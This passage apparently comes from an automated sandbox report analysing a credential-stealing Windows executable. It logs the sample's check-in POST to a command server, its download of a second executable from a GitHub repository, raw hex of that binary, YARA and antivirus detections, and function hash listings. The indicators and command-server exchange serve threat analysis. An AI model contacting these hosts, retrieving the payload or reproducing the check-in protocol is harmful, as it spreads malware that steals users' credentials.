cfL4;desc="?proto=TCP&rtt=1657&min_rtt=1651&rtt_var=632&sent=193&recv=584&lost=0&retrans=0&sent_bytes=2835&recv_bytes=573568&delivery_rate=1712609&cwnd=202&unsent_bytes=0&cid=80a3f5e2a67dd018&ts=1551&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.6	49994	172.67.157.254	443	4784	C:\Users\user\Desktop\Gz1bBIg2Tw.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-01 15:54:51 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 77 Host: lev-tolstoi.com
2025-01-01 15:54:51 UTC	77	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 62 6f 34 32 58 6a 2d 2d 26 6a 3d 26 68 77 69 64 3d 36 38 35 41 44 46 33 44 37 35 43 39 37 46 33 36 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 Data Ascii: act=get_message&ver=4.0&lid=bo42Xj--&j=&hwid=685ADF3D75C97F36BEBA0C6A975F1733
2025-01-01 15:54:51 UTC	1119	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 15:54:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=9o420m4j4b5rn45npiap53061t; expires=Sun, 27 Apr 2025 09:41:30 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=VpyuhPEfB37zIDIFlB4zhqfg8bZlWqiWo2MPi2GWlY%2FXSmkvHAwjqr1MTuPlJq7KDgEZgKZIE92fnavw22HQfet30WfXt08MnuPynjlyAQGgY0A1QOSDREIjn92kCADnQJc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb3b0b72e2943d3-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1764&min_rtt=1762&rtt_var=664&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2835&recv_bytes=976&delivery_rate=1642294&cwnd=236&unsent_bytes=0&cid=080f7cf5cd5c4053&ts=499&x=0"
2025-01-01 15:54:51 UTC	190	IN	Data Raw: 62 38 0d 0a 41 49 72 57 6d 31 65 6b 4a 6b 54 55 4b 68 49 7a 55 73 67 2b 43 36 47 49 78 69 46 52 4c 7a 45 4c 78 33 6f 50 42 50 71 68 30 6c 46 62 38 66 54 75 64 5a 34 45 4c 4b 42 65 59 6b 42 6f 6c 42 46 58 6a 75 2b 76 56 54 6c 61 55 79 57 6b 46 57 4a 59 31 65 57 65 48 45 76 50 68 4d 64 34 78 6b 38 67 73 55 52 4f 48 43 43 70 53 56 65 4f 2b 71 4e 48 49 6e 4d 65 59 36 49 62 61 33 65 6d 6a 72 38 77 61 65 53 4b 74 41 54 46 53 79 32 34 51 33 78 53 4e 71 46 74 5a 4d 66 38 73 55 41 6a 53 68 39 75 76 78 38 74 4b 4e 6a 48 70 6e 4d 36 75 76 71 35 4d 6f 59 63 64 4b 6c 33 0d 0a Data Ascii: b8AIrWm1ekJkTUKhIzUsg+C6GIxiFRLzELx3oPBPqh0lFb8fTudZ4ELKBeYkBolBFXju+vVTlaUyWkFWJY1eWeHEvPhMd4xk8gsUROHCCpSVeO+qNHInMeY6Iba3emjr8waeSKtATFSy24Q3xSNqFtZMf8sUAjSh9uvx8tKNjHpnM6uvq5MoYcdKl3
2025-01-01 15:54:51 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.6	49995	140.82.121.4	443	4784	C:\Users\user\Desktop\Gz1bBIg2Tw.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-01 15:54:52 UTC	240	OUT	GET /DLMKER/biden/raw/refs/heads/main/SamilinadiSoftware.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: github.com
2025-01-01 15:54:53 UTC	566	IN	HTTP/1.1 302 Found Server: GitHub.com Date: Wed, 01 Jan 2025 15:54:53 GMT Content-Type: text/html; charset=utf-8 Vary: X-PJAX, X-PJAX-Container, Turbo-Visit, Turbo-Frame, Accept-Encoding, Accept, X-Requested-With Access-Control-Allow-Origin: Location: https://raw.githubusercontent.com/DLMKER/biden/refs/heads/main/SamilinadiSoftware.exe Cache-Control: no-cache Strict-Transport-Security: max-age=31536000; includeSubdomains; preload X-Frame-Options: deny X-Content-Type-Options: nosniff X-XSS-Protection: 0 Referrer-Policy: no-referrer-when-downgrade
2025-01-01 15:54:53 UTC	3383	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 53 65 63 75 72 69 74 79 2d 50 6f 6c 69 63 79 3a 20 64 65 66 61 75 6c 74 2d 73 72 63 20 27 6e 6f 6e 65 27 3b 20 62 61 73 65 2d 75 72 69 20 27 73 65 6c 66 27 3b 20 63 68 69 6c 64 2d 73 72 63 20 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2d 63 64 6e 2f 77 6f 72 6b 65 72 2f 20 67 69 74 68 75 62 2e 63 6f 6d 2f 77 65 62 70 61 63 6b 2f 20 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2f 20 67 69 73 74 2e 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2d 63 64 6e 2f 77 6f 72 6b 65 72 2f 3b 20 63 6f 6e 6e 65 63 74 2d 73 72 63 20 27 73 65 6c 66 27 20 75 70 6c 6f 61 64 73 2e 67 69 74 68 75 62 2e 63 6f 6d 20 77 77 77 2e 67 69 74 68 75 62 73 74 61 74 75 73 2e 63 6f 6d 20 63 6f 6c 6c 65 63 74 6f 72 2e 67 69 74 68 75 62 2e 63 6f Data Ascii: Content-Security-Policy: default-src 'none'; base-uri 'self'; child-src github.com/assets-cdn/worker/ github.com/webpack/ github.com/assets/ gist.github.com/assets-cdn/worker/; connect-src 'self' uploads.github.com www.githubstatus.com collector.github.co

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.6	49997	185.199.109.133	443	4784	C:\Users\user\Desktop\Gz1bBIg2Tw.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-01 15:54:53 UTC	251	OUT	GET /DLMKER/biden/refs/heads/main/SamilinadiSoftware.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: raw.githubusercontent.com
2025-01-01 15:54:54 UTC	905	IN	HTTP/1.1 200 OK Connection: close Content-Length: 8812032 Cache-Control: max-age=300 Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; sandbox Content-Type: application/octet-stream ETag: "c0e5b528fa49cf57f5ee8144f971160e70066a9bd87b47430b3d55db5e2fc434" Strict-Transport-Security: max-age=31536000 X-Content-Type-Options: nosniff X-Frame-Options: deny X-XSS-Protection: 1; mode=block X-GitHub-Request-Id: B4F4:3F1421:150C78D:17A8FA4:6775654C Accept-Ranges: bytes Date: Wed, 01 Jan 2025 15:54:53 GMT Via: 1.1 varnish X-Served-By: cache-nyc-kteb1890063-NYC X-Cache: MISS X-Cache-Hits: 0 X-Timer: S1735746894.864219,VS0,VE129 Vary: Authorization,Accept-Encoding,Origin Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin X-Fastly-Request-ID: c38b603e25aad8fe9aa28dcfa95fac62ddddc632 Expires: Wed, 01 Jan 2025 15:59:53 GMT Source-Age: 0
2025-01-01 15:54:54 UTC	1378	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 18 96 07 9e 5c f7 69 cd 5c f7 69 cd 5c f7 69 cd 2e 76 6a cc 51 f7 69 cd 2e 76 6c cc c8 f7 69 cd 2e 76 6d cc 4f f7 69 cd 0e 82 6c cc 7a f7 69 cd 0e 82 6d cc 4c f7 69 cd 0e 82 6a cc 4e f7 69 cd 2e 76 68 cc 59 f7 69 cd 5c f7 68 cd 01 f7 69 cd 91 82 61 cc 5d f7 69 cd 91 82 96 cd 5d f7 69 cd 91 82 6b cc 5d f7 69 cd 52 69 63 68 5c f7 69 cd 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$\i\i\i.vjQi.vli.vmOilzimLijNi.vhYi\hia]i]ik]iRich\iPEL
2025-01-01 15:54:54 UTC	1378	IN	Data Raw: bf c9 0f b7 d8 b8 19 55 00 00 98 0f af c8 89 5d 08 66 03 cf 0f b7 c1 66 8b 0d e0 88 47 00 89 4d c4 8b 0d c8 88 47 00 89 4d 98 8b 0d 78 89 47 00 89 4d 8c 66 8b 0d 84 89 47 00 89 4d 94 8b 0d 7c 89 47 00 89 4d 90 8b 0d 08 03 c5 00 89 4d a0 8b 0d c0 88 47 00 89 4d a8 8b 0d 10 03 c5 00 89 4d 84 8a 0d c7 88 47 00 89 4d b4 e9 3b 14 00 00 81 f9 a5 67 5a 6f 0f 83 ac 01 00 00 8d 8b 4c 14 00 00 8b 75 c4 8b 9d 74 ff ff ff 81 c6 9e a9 ff ff 03 1d c8 88 47 00 c1 f9 a4 0f bf c1 01 05 dc 88 47 00 8d be e3 4b 00 00 a1 00 9d 47 00 05 d5 3e 61 d4 89 5d 98 03 c3 89 1d c8 88 47 00 89 45 f0 a1 78 89 47 00 2b 85 74 ff ff ff 89 45 8c a3 78 89 47 00 66 a1 84 89 47 00 66 2b c1 0f bf 1d e0 88 47 00 89 45 94 66 a3 84 89 47 00 0f b6 05 0c 03 c5 00 04 7b 89 4d 08 88 45 e4 66 8b ca 69 Data Ascii: U]ffGMGMxGMfGM\|GMMGMMGM;gZoLutGGKG>a]GExG+tExGfGf+GEfG{MEfi
2025-01-01 15:54:54 UTC	1378	IN	Data Raw: 89 0d c8 88 47 00 e9 5e 0f 00 00 81 f9 a9 00 00 00 0f 8d 92 01 00 00 66 a1 e4 88 47 00 66 2b c2 69 ca a4 05 00 00 89 45 b0 ba a4 05 ed c0 8b 45 c4 98 01 05 fc 9c 47 00 a0 c7 88 47 00 89 45 b4 0f b6 c0 2b d0 89 4d 80 69 c1 75 1f 00 00 89 55 e0 66 8b d3 8b 5d c4 66 c1 fa 0f 0f b7 3d d0 88 47 00 2d cb 12 00 00 c7 45 d8 87 55 c5 e1 0f b7 c8 81 ef 30 04 c9 1e 8d 83 75 8c ff ff 89 4d 08 0f b7 c0 81 c3 66 51 00 00 89 45 d4 89 45 c0 0f bf c1 03 05 f8 9c 47 00 89 45 9c 66 a1 e0 88 47 00 66 03 c2 00 5d b4 89 45 c4 66 a3 e0 88 47 00 0f bf c2 01 05 0c 03 c5 00 a0 c6 88 47 00 03 55 e0 89 45 ac 0f b6 c0 03 f0 89 7d f8 8b 45 ac 03 fb d2 e8 89 45 ac a2 c6 88 47 00 8b c1 8a 4d 80 05 cc 28 00 00 0f b7 c0 89 45 fc b8 2a 7b 8e 03 d3 e8 b9 9c aa e7 ef 2b 05 fc 9c 47 00 03 45 Data Ascii: G^fGf+iEEGGE+MiuUf]f=G-EU0uMfQEEGEfGf]EfGGUE}EEGM(E*{+GE
2025-01-01 15:54:54 UTC	1378	IN	Data Raw: 47 00 81 c1 80 ee bf e5 03 f1 89 3d c0 88 47 00 0f b7 cb 0f af c8 8d 82 70 bf 9f b2 89 45 f0 a1 10 03 c5 00 89 45 84 05 0a 20 00 00 0f b7 c0 89 45 d4 89 45 c0 b8 19 af 00 00 89 45 d0 89 45 c8 b0 b8 89 4d 88 66 89 0d cc 88 47 00 0f b6 0d fc 9c 47 00 d2 e8 2a 45 fc 8b 4d c4 02 c3 69 d1 f3 04 00 00 8a 0d c6 88 47 00 0f b6 f8 0f b6 c0 69 c0 c2 00 00 00 81 ea 0f 56 00 00 89 75 f4 0f af 55 dc 8d 73 7b 0f b7 de 89 5d 08 88 45 cc 8b 45 e0 2a ca 03 c2 8b 55 dc 0f b7 c0 89 4d ac 88 0d c6 88 47 00 8b 8d 6c ff ff ff 89 45 ec d3 ea 0f bf c6 03 d0 8b 4d fc 8b 45 cc 03 cf 0f b6 c0 98 0f bf c9 0f af c8 8b 7d f8 8b 75 e8 89 55 dc 8b 55 f4 0f bf c2 0f bf c9 0f af c8 0f b7 c1 89 45 fc 0f bf c1 8b 0d 7c 89 47 00 2b d0 66 a1 e0 88 47 00 89 45 c4 a1 c8 88 47 00 89 45 98 a1 78 Data Ascii: G=GpEE EEEEMfGGEMiGiVuUs{]EEUMGlEME}uUUE\|G+fGEGEx
2025-01-01 15:54:54 UTC	1378	IN	Data Raw: c8 88 47 00 89 45 98 66 a1 84 89 47 00 89 45 94 a1 7c 89 47 00 89 45 90 a1 08 03 c5 00 89 45 a0 a1 f8 9c 47 00 89 45 9c 8b 45 ec e9 6f 04 00 00 3d a9 00 00 00 0f 85 6a 01 00 00 69 c9 80 a6 ff ff 8d 82 f9 7b 00 00 8b 15 78 89 47 00 0f b7 f8 0f bf df c6 45 cc 83 0f bf c1 01 05 14 03 c5 00 8d 82 7f 6b 00 00 0f b7 c0 89 45 d4 89 45 c0 8d 04 0e 0f bf c8 8d b0 1d 66 00 00 a1 c0 88 47 00 03 ca 89 45 a8 2b 7d d4 89 4d 8c 89 0d 78 89 47 00 8b 4d bc 81 c1 4d 98 2c 49 03 c1 89 45 f8 66 a1 cc 88 47 00 0f b7 c8 89 45 88 03 ca 0f b7 05 d0 88 47 00 05 41 ac 0a 9c 0f b7 d7 03 c1 69 ce bc 49 00 00 89 45 e8 66 a1 84 89 47 00 66 03 c6 8b 35 7c 89 47 00 89 45 94 66 a3 84 89 47 00 0f b7 c7 8b 7d f8 89 45 fc 8b 45 08 05 fa e7 ff ff 89 75 90 03 c7 89 45 08 0f b7 c1 89 45 ec 8b Data Ascii: GEfGE\|GEEGEEo=ji{xGEkEEfGE+}MxGMM,IEfGEGAiIEfGf5\|GEfG}EEuEE
2025-01-01 15:54:54 UTC	1378	IN	Data Raw: 00 81 45 d8 29 c1 a5 22 0f b7 cf 89 7d c8 03 f8 66 d3 fa c1 fe e1 0f b7 ce 89 7d d0 89 7d c8 69 f8 39 7a 00 00 89 4d 08 8b 4d f8 0f b7 c7 89 45 ec 8d 04 4d 2c 0b 00 00 2b 45 dc 2b 45 d4 03 d0 0f bf cb 8b 5d f4 03 c9 00 55 e4 81 c3 0d a1 db 7d 0f b7 c2 89 45 fc 0f bf c6 8b 75 d4 2b c8 03 d9 03 f7 89 5d f4 89 75 d4 89 75 c0 e9 58 01 00 00 0f bf c3 3b 45 f0 0f 85 49 01 00 00 0f b6 c1 0f bf d0 b8 30 7f 00 00 98 0f bf cb 8b 5d d4 0f af d1 81 6d e0 94 4e d1 36 0f bf d2 0f af d0 8b 45 ec 2b d8 66 8b c8 8b 45 c4 66 d3 fb 98 8b ca 0f b7 db 2b cf 89 5d d4 0f b7 f1 0f bf c9 0f af c1 8b 0d d8 88 47 00 d3 ff b9 3b 81 e7 61 89 7d f8 8b 7d fc 89 45 c4 03 fb 66 a3 e0 88 47 00 8d 9e d0 f9 ff ff 0f bf c2 2b c8 0f bf c6 01 4d d8 8d 97 0c 40 00 00 8b 4d a8 03 c8 2b 75 ec 8b Data Ascii: E)"}f}}i9zMMEM,+E+E]U}Eu+]uuX;EI0]mN6E+fEf+]G;a}}EfG+M@M+u
2025-01-01 15:54:54 UTC	1378	IN	Data Raw: d1 66 8b 4d dc 66 d3 fb 66 2b df 0f b7 cb 8b 5d f4 0f b7 c2 89 45 08 a1 14 03 c5 00 0f af 45 e8 89 4d fc 2b 05 dc 88 47 00 05 ea 8e 56 4c 89 45 e8 0f bf c2 8b 55 ec 2b d8 8b 45 c8 89 5d f4 89 45 d0 e9 fe 01 00 00 8b 45 e4 0f b6 c0 39 45 a4 0f 8e 14 01 00 00 8d 81 8c 7d 00 00 c6 45 b8 00 8b 4d 94 66 03 4d 08 0f bf d0 89 4d 94 03 da 66 89 0d 84 89 47 00 69 c8 fb 14 00 00 89 5d f4 0f bf c1 01 05 fc 9c 47 00 a1 fc 9c 47 00 a3 fc 9c 47 00 8d 34 19 8b 0d d8 88 47 00 0f bf c6 29 05 04 9d 47 00 8b 45 f0 03 c2 8b 55 d4 d3 e8 8b 4d ec 89 45 f0 81 c1 f6 d9 ff ff 8d 04 17 03 c1 8d be 11 44 00 00 0f af 45 d8 8b 4d e0 c7 45 d8 00 00 00 00 0f b7 d8 03 d3 89 55 d4 89 55 c0 8b 55 08 0f bf c2 81 ea 73 4e 00 00 03 c8 0f bf f2 66 d3 fb 0f b7 c7 89 45 fc 0f b7 c3 89 45 ec 0f Data Ascii: fMff+]EEM+GVLEU+E]EE9E}EMfMMfGi]GGG4G)GEUMEDEMEUUUsNfEE
2025-01-01 15:54:54 UTC	1378	IN	Data Raw: b7 c2 0f b7 d1 8b 8d 7c ff ff ff d3 2d fc 9c 47 00 8a 4d ac d3 7d f4 8b 4d bc 0f af c2 8b 55 d8 d3 ea 0f bf cb 03 4d dc 89 45 88 66 a3 cc 88 47 00 0f bf c6 2b d0 66 01 75 b0 0f bf c7 0f af c8 69 c6 70 44 00 00 89 55 d8 89 4d dc 2b c2 0f b7 d0 0f b7 c0 89 45 fc 8b 45 a4 01 05 00 9d 47 00 8b 45 bc 0f bf ca 01 4d d8 03 c1 01 45 f0 8d 8f cb 83 ff ff 8b 45 e4 02 45 94 89 45 e4 8b 45 ec 03 c3 89 45 c4 66 a3 e0 88 47 00 66 a1 d4 88 47 00 66 2b c2 0f b7 d1 66 a3 d4 88 47 00 03 c7 03 05 dc 88 47 00 89 55 08 03 05 04 9d 47 00 8b 5d d0 8b 75 f8 03 d8 8b 45 b4 02 c1 89 5d d0 8b 4d fc 89 45 b4 8b 45 cc 89 5d c8 8b 5d ec 89 45 cc e9 6b 02 00 00 8b 45 bc 3b c6 0f 8e 3c 01 00 00 69 45 f0 c4 ca 52 47 8b 0d 04 9d 47 00 0f bf 35 d4 88 47 00 d3 ef 03 bd 7c ff ff ff 0f b7 d8 Data Ascii: \|-GM}MUMEfG+fuipDUM+EEGEMEEEEEEfGfGf+fGGUG]uE]MEE]]EkE;<iERGG5G\|
2025-01-01 15:54:54 UTC	1378	IN	Data Raw: 89 45 fc a1 14 03 c5 00 03 c6 d3 e8 a3 14 03 c5 00 8b 45 cc 2b c1 03 c6 89 45 cc a3 80 89 47 00 8b 45 c8 89 45 d0 e9 a7 fd ff ff 8b 85 7c ff ff ff 3b c6 0f 85 07 01 00 00 8b 45 88 81 ee c3 55 e7 73 66 2b c1 8b 7d 9c 89 45 88 66 a3 cc 88 47 00 8b 45 b8 0f b6 d8 8b 45 d0 05 8f 9a 00 00 66 01 15 c4 88 47 00 89 45 d0 89 45 c8 8b 45 d4 2d 1b 5a 00 00 89 75 f8 8b 75 ec 89 45 d4 81 c6 b5 59 00 00 89 45 c0 69 c7 b9 97 6f 86 66 03 5d 08 c6 45 b8 00 c7 45 e8 00 00 00 00 89 45 f0 8b 45 f4 01 7d f4 03 c1 8b 7d e0 0f b7 d0 81 c7 e3 0a 97 d7 0f bf ce 81 c2 4d 15 00 00 8b c1 29 4d a0 0f af 45 98 b9 34 b4 03 fe 89 45 98 a3 c8 88 47 00 8b 45 a8 2b 05 00 9d 47 00 03 f8 8d 86 5a e7 ff ff 0f b7 c0 89 45 ec 8b 75 f8 0f bf c2 81 c2 73 1a 00 00 0f af 05 00 9d 47 00 66 01 55 b0 Data Ascii: EE+EGEE\|;EUsf+}EfGEEfGEEE-ZuuEYEiof]EEEE}}M)ME4EGE+GZEusGfU
2025-01-01 15:54:54 UTC	1378	IN	Data Raw: ec 89 bd 6c ff ff ff 0f bf fb 3b bd 6c ff ff ff 89 7d a4 8b 7d f4 0f 8e f5 00 00 00 8b 45 d0 81 c7 9f 6d 78 fb 0f af c2 8b 9d 68 ff ff ff 03 d9 8a c8 89 45 d0 8b 45 ac 8d b3 70 50 00 00 d2 e8 8a cb a2 c6 88 47 00 8b 85 74 ff ff ff 66 03 45 ec 66 a3 d0 88 47 00 8b 45 d0 03 c3 02 9d 7c ff ff ff 03 45 d8 0f b7 d0 0f b7 c0 89 45 08 8b 45 a4 0f af 05 fc 9c 47 00 a3 fc 9c 47 00 8b 45 bc 05 1d ab ff 11 03 45 9c 89 45 e4 a1 14 03 c5 00 03 45 a4 d3 e8 8b 4d f8 66 2b 0d c4 88 47 00 66 03 0d 04 9d 47 00 a3 14 03 c5 00 8b 45 c4 66 03 c2 0f bf d2 66 a3 e0 88 47 00 8b 45 ec 66 03 c8 66 c1 f8 0f 98 0f bf c9 0f af c8 0f b6 c3 8d 1c 08 8b 45 84 03 c2 8a cb a3 10 03 c5 00 0f bf c6 03 f8 8b 45 dc 03 c6 0f b7 c0 89 45 f0 8b 45 a8 d3 e8 8b ca 8b 55 8c a3 c0 88 47 00 8b 45 e4 Data Ascii: l;l}}EmxhEEpPGtfEfGE\|EEEGGEEEEMf+GfGEffGEffEEEEUGE

Target ID:	0
Start time:	10:51:58
Start date:	01/01/2025
Path:	C:\Users\user\Desktop\Gz1bBIg2Tw.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Gz1bBIg2Tw.exe"
Imagebase:	0x9b0000
File size:	2'798'080 bytes
MD5 hash:	E6CA05860ECA285D9EACC82CDCE02B49
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.3816016545.0000000001D9A000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	10:55:00
Start date:	01/01/2025
Path:	C:\Users\user\AppData\Local\Temp\AD2QI301VGQ7BUOKWK66SF.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\AD2QI301VGQ7BUOKWK66SF.exe"
Imagebase:	0xde0000
File size:	8'812'032 bytes
MD5 hash:	43142552E4812E3337226CA1664ED728
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 37%, ReversingLabs
Reputation:	low
Has exited:	false

Show Windows behavior

Function 01E0833A Relevance: .1, Instructions: 100COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.3952382662.0000000001E04000.00000004.00000020.00020000.00000000.sdmp, Offset: 01DFE000, based on PE: false

Associated: 00000000.00000003.3826295690.0000000001DFE000.00000004.00000020.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_1dfe000_Gz1bBIg2Tw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c3f52fe76d623909c20147b50de0a9217b1a5b791a58238c44d968c69a0d6950
Instruction ID: cd9cc4be42792716eb7b7ea6c3a394433623dfa976501429f628561ffef8563d
Opcode Fuzzy Hash: c3f52fe76d623909c20147b50de0a9217b1a5b791a58238c44d968c69a0d6950
Instruction Fuzzy Hash: B23169329996899ECF224F3894612D5BBA76E872143EA269BC0D04F467C32154C7CB96

Function 01E0833A Relevance: .1, Instructions: 100COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.3952382662.0000000001E04000.00000004.00000020.00020000.00000000.sdmp, Offset: 01E02000, based on PE: false

Associated: 00000000.00000003.3948801893.0000000001E02000.00000004.00000020.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_1dfe000_Gz1bBIg2Tw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 47b9a0179d0ccb65c722cae63ba930196545103ece2a92c73008d87c3c5a464a
Instruction ID: cd9cc4be42792716eb7b7ea6c3a394433623dfa976501429f628561ffef8563d
Opcode Fuzzy Hash: 47b9a0179d0ccb65c722cae63ba930196545103ece2a92c73008d87c3c5a464a
Instruction Fuzzy Hash: B23169329996899ECF224F3894612D5BBA76E872143EA269BC0D04F467C32154C7CB96

Function 01E0833A Relevance: .1, Instructions: 100COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.3952382662.0000000001E04000.00000004.00000020.00020000.00000000.sdmp, Offset: 01E00000, based on PE: false

Associated: 00000000.00000003.3826295690.0000000001DFE000.00000004.00000020.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_1dfe000_Gz1bBIg2Tw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c3f52fe76d623909c20147b50de0a9217b1a5b791a58238c44d968c69a0d6950
Instruction ID: cd9cc4be42792716eb7b7ea6c3a394433623dfa976501429f628561ffef8563d
Opcode Fuzzy Hash: c3f52fe76d623909c20147b50de0a9217b1a5b791a58238c44d968c69a0d6950
Instruction Fuzzy Hash: B23169329996899ECF224F3894612D5BBA76E872143EA269BC0D04F467C32154C7CB96

Function 01E0833A Relevance: .1, Instructions: 100COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.3952382662.0000000001E04000.00000004.00000020.00020000.00000000.sdmp, Offset: 01E04000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_1dfe000_Gz1bBIg2Tw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c3f52fe76d623909c20147b50de0a9217b1a5b791a58238c44d968c69a0d6950
Instruction ID: cd9cc4be42792716eb7b7ea6c3a394433623dfa976501429f628561ffef8563d
Opcode Fuzzy Hash: c3f52fe76d623909c20147b50de0a9217b1a5b791a58238c44d968c69a0d6950
Instruction Fuzzy Hash: B23169329996899ECF224F3894612D5BBA76E872143EA269BC0D04F467C32154C7CB96

Function 01E083A6 Relevance: .1, Instructions: 84COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.3952382662.0000000001E04000.00000004.00000020.00020000.00000000.sdmp, Offset: 01DFE000, based on PE: false

Associated: 00000000.00000003.3826295690.0000000001DFE000.00000004.00000020.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_1dfe000_Gz1bBIg2Tw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3f6511c5e2b085e3699f5514d42a52a5e6a6dd4b88e9004e6b6be0616ba5e613
Instruction ID: 4e48c65bf4ff4ec4aa5a6a36770920164dc6ca33e43bf1b54669cef2377829b7
Opcode Fuzzy Hash: 3f6511c5e2b085e3699f5514d42a52a5e6a6dd4b88e9004e6b6be0616ba5e613
Instruction Fuzzy Hash: 3F2105329496C59FDB528F3488A12D2BFB2AE872203EA15DAC4D14F467C32164C7CB82

Function 01E083A6 Relevance: .1, Instructions: 84COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.3952382662.0000000001E04000.00000004.00000020.00020000.00000000.sdmp, Offset: 01E02000, based on PE: false

Associated: 00000000.00000003.3948801893.0000000001E02000.00000004.00000020.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_1dfe000_Gz1bBIg2Tw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3f6511c5e2b085e3699f5514d42a52a5e6a6dd4b88e9004e6b6be0616ba5e613
Instruction ID: 4e48c65bf4ff4ec4aa5a6a36770920164dc6ca33e43bf1b54669cef2377829b7
Opcode Fuzzy Hash: 3f6511c5e2b085e3699f5514d42a52a5e6a6dd4b88e9004e6b6be0616ba5e613
Instruction Fuzzy Hash: 3F2105329496C59FDB528F3488A12D2BFB2AE872203EA15DAC4D14F467C32164C7CB82

Function 01E083A6 Relevance: .1, Instructions: 84COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.3952382662.0000000001E04000.00000004.00000020.00020000.00000000.sdmp, Offset: 01E00000, based on PE: false

Associated: 00000000.00000003.3826295690.0000000001DFE000.00000004.00000020.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_1dfe000_Gz1bBIg2Tw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3f6511c5e2b085e3699f5514d42a52a5e6a6dd4b88e9004e6b6be0616ba5e613
Instruction ID: 4e48c65bf4ff4ec4aa5a6a36770920164dc6ca33e43bf1b54669cef2377829b7
Opcode Fuzzy Hash: 3f6511c5e2b085e3699f5514d42a52a5e6a6dd4b88e9004e6b6be0616ba5e613
